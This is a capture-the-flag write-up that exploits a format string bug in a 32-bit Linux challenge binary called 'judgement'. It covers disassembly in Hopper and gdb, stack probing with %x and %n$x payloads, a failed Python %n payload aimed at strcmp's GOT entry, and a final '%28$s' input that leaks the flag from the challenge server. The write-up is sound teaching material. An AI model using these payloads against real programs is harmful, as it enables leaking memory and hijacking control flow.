We were given this binary: judgement-4da7533784aa31b96ca158fbda9677ee8507781ead6625dc6d577fd5d2ff697c
I downloaded it onto my Mac. The file command shows that this is a 32-bit Linux executable:
I clicked File, "Read Executable to Disassemble..." and loaded the file into Hopper.
There are five strings in this program, as shown below. Looking at the right, I can see three modules: "init", "main", and "load_flag".
Double-clicking init+115 on the right side shows the code that uses this string. On the top right, notice the icon outlined in green in the image below.
Clicking that icon outputs pseudocode for this routine, which looks like C, as shown below.
This routine calls "load_flag", and returns an error message if it fails.
Repeating the process, starting from the strings, I entered "load_flag" and got its pseudocode.
This just reads the flag string from a file.
We covered format string vulnerabilities in CNIT 127's Chapter 4 lecture, here:
https://samsclass.info/127/127_F15.shtml#lecture
Since the programmer did not enter a format string, and printed user input, the user can enter format strings like "%x" and "%n" to read from, and write to, memory.
Running the program shows this error:
This is typical for CTFs. The challenge server contains a "flag.txt" file with the real flag, but to test it I need to make a fake flag file.
I put a file named "flag.txt" containing "0123456789" in the program's directory.
The normal process for exploiting a format string vulnerability is to use the "%n" format to write to arbitrary memory, overwrite a function pointer, and execute injected shellcode, as detailed in this project.
The next step is to find a parameter on the stack I can control. I tried this string:
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.I can read the first 14 items on the stack, but none of them contain the "AAAA" string:
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.But I hit a limit--the string can't be longer than about 80 characters. That's not enough room to inject shellcode and execute it.
However, I could simply redirect execution to the part of the code that prints out the flag. To do that, I still need to find the parameter that contains my injected text. Since I can't use a long string of "%x" format codes, I switched to the "%number$x" format, like this:
AAAA.%40$x.%41$x.%42$x.%43$xNow I see that parameter 43 contains the injected "AAAA", in its hexadecimal form of "41414141".
In Kali, I executed these commands to open the file in the gdb disassembler, and view the assembly code for the "main" routine:
gdb ./jud
disassemble main
Here's the disassembled code, with my notes on the
right side in capital letters.
Dump of assembler code for function main:
0x0804872b <.+0>: lea 0x4(%esp),%ecx
0x0804872f <.+4>: and $0xfffffff0,%esp
0x08048732 <.+7>: pushl -0x4(%ecx)
0x08048735 <.+10>: push %ebp
0x08048736 <.+11>: mov %esp,%ebp
0x08048738 <.+13>: push %ebx
0x08048739 <.+14>: push %ecx
0x0804873a <.+15>: sub $0x60,%esp
0x0804873d <.+18>: mov %gs:0x14,%eax
0x08048743 <.+24>: mov %eax,-0xc(%ebp)
0x08048746 <.+27>: xor %eax,%eax
0x08048748 <.+29>: mov $0x10,%eax
0x0804874d <.+34>: sub $0x1,%eax
0x08048750 <.+37>: add $0x8f,%eax
0x08048755 <.+42>: mov $0x10,%ebx
0x0804875a <.+47>: mov $0x0,%edx
0x0804875f <.+52>: div %ebx
0x08048761 <.+54>: imul $0x10,%eax,%eax
0x08048764 <.+57>: sub %eax,%esp
0x08048766 <.+59>: movl $0x80489a8,(%esp)
0x0804876d <.+66>: call 0x80484e0 <.printf@plt> "INPUT FLAG" MESSAGE
0x08048772 <.+71>: movl $0x40,0x4(%esp)
0x0804877a <.+79>: lea -0x4c(%ebp),%eax
0x0804877d <.+82>: mov %eax,(%esp)
0x08048780 <.+85>: call 0x8048869 <.getnline> READ INPUT
0x08048785 <.+90>: test %eax,%eax
0x08048787 <.+92>: jne 0x804879c <.main+113>
0x08048789 <.+94>: movl $0x80489cc,(%esp)
0x08048790 <.+101>: call 0x8048530 <.puts@plt> ERROR: UNPRINTABLE CHARACTER
0x08048795 <.+106>: mov $0xffffffff,%eax
0x0804879a <.+111>: jmp 0x80487d8 <.main+173>
0x0804879c <.+113>: lea -0x4c(%ebp),%eax
0x0804879f <.+116>: mov %eax,(%esp)
0x080487a2 <.+119>: call 0x80484e0 <.printf@plt> FORMAT STRING VULN HERE
0x080487a7 <.+124>: movl $0x804a0a0,0x4(%esp)
0x080487af <.+132>: lea -0x4c(%ebp),%eax
0x080487b2 <.+135>: mov %eax,(%esp)
0x080487b5 <.+138>: call 0x80484d0 <.strcmp@plt> IT CALLS STRCMP HERE
0x080487ba <.+143>: test %eax,%eax
0x080487bc <.+145>: je 0x80487cc <.main+161>
0x080487be <.+147>: movl $0x80489e2,(%esp) "\nWrong flag..."
0x080487c5 <.+154>: call 0x8048530 <.puts@plt> IT CALLS PUTS HERE
0x080487ca <.+159>: jmp 0x80487d8 <.main+173>
0x080487cc <.+161>: movl $0x80489f1,(%esp) "CORRECT FLAG"
0x080487d3 <.+168>: call 0x8048530 <.puts@plt> IT CALLS PUTS HERE
0x080487d8 <.+173>: mov -0xc(%ebp),%ecx
0x080487db <.+176>: xor %gs:0x14,%ecx
0x080487e2 <.+183>: je 0x80487e9 <.main+190>
0x080487e4 <.+185>: call 0x8048520 <.__stack_chk_fail@plt>
0x080487e9 <.+190>: lea -0x8(%ebp),%esp
0x080487ec <.+193>: pop %ecx
0x080487ed <.+194>: pop %ebx
0x080487ee <.+195>: pop %ebp
0x080487ef <.+196>: lea -0x4(%ecx),%esp
0x080487f2 <.+199>: ret
After the format string vulnerability, it calls "strcmp". So if I can change
the address of "strcmp", I can alter the code execution.
I used objdump to print the Dynamic Relocation Records. As shown below, "strcmp" is at location 0x0804a010.
#!/usr/bin/env python
print '\x10\xa0\x04\x08%42$x%n'
I ran that program, putting the output into a file
named "e2", and used it as input to the
"jud" program. However, the program rejected
the input because it contains unprintable characters!
I tested more characters, as shown below, and found that all bytes below 0x20 are rejected except for 0x0a.
However, perhaps I can find an address that's already on the stack and use it.
Consider this code in main:
0x080487a2 <.+119>: call 0x80484e0 <.printf@plt> FORMAT STRING VULN HERE
0x080487a7 <.+124>: movl $0x804a0a0,0x4(%esp)
0x080487af <.+132>: lea -0x4c(%ebp),%eax
0x080487b2 <.+135>: mov %eax,(%esp)
0x080487b5 <.+138>: call 0x80484d0 <.strcmp@plt> IT CALLS STRCMP HERE
It loads the address 0x0804a0a0 onto the stack, as the second parameter for
"strcmp". Evidently that address contains the correct flag.
I used these commands to load the program in gdb, place a breakpoint just after the format string is used, and run:
gdb ./jud
b * main+124
run
I input a flag guess of "ABC", and the program hit its breakpoint.
The "info registers" command shows the values of esp and ebp,
as shown below.
I used these commands to view the memory near 0x0804a0a0, and the stack:
x/4x 0x0804a0a0
x/30x $esp
As shown below, the flag is in fact at 0x0804a0a0,
and the 28th word on the stack points to that address.
So if I run the program outside gdb and enter "%28$x", I'll see the 28th item on the stack, as shown below.
And entering "%28$s" prints the string that address points to, which is the flag! This, of course, is the fake flag I put on my machine.
Connecting to the real challenge server and entering "%28$s" shows the real flag!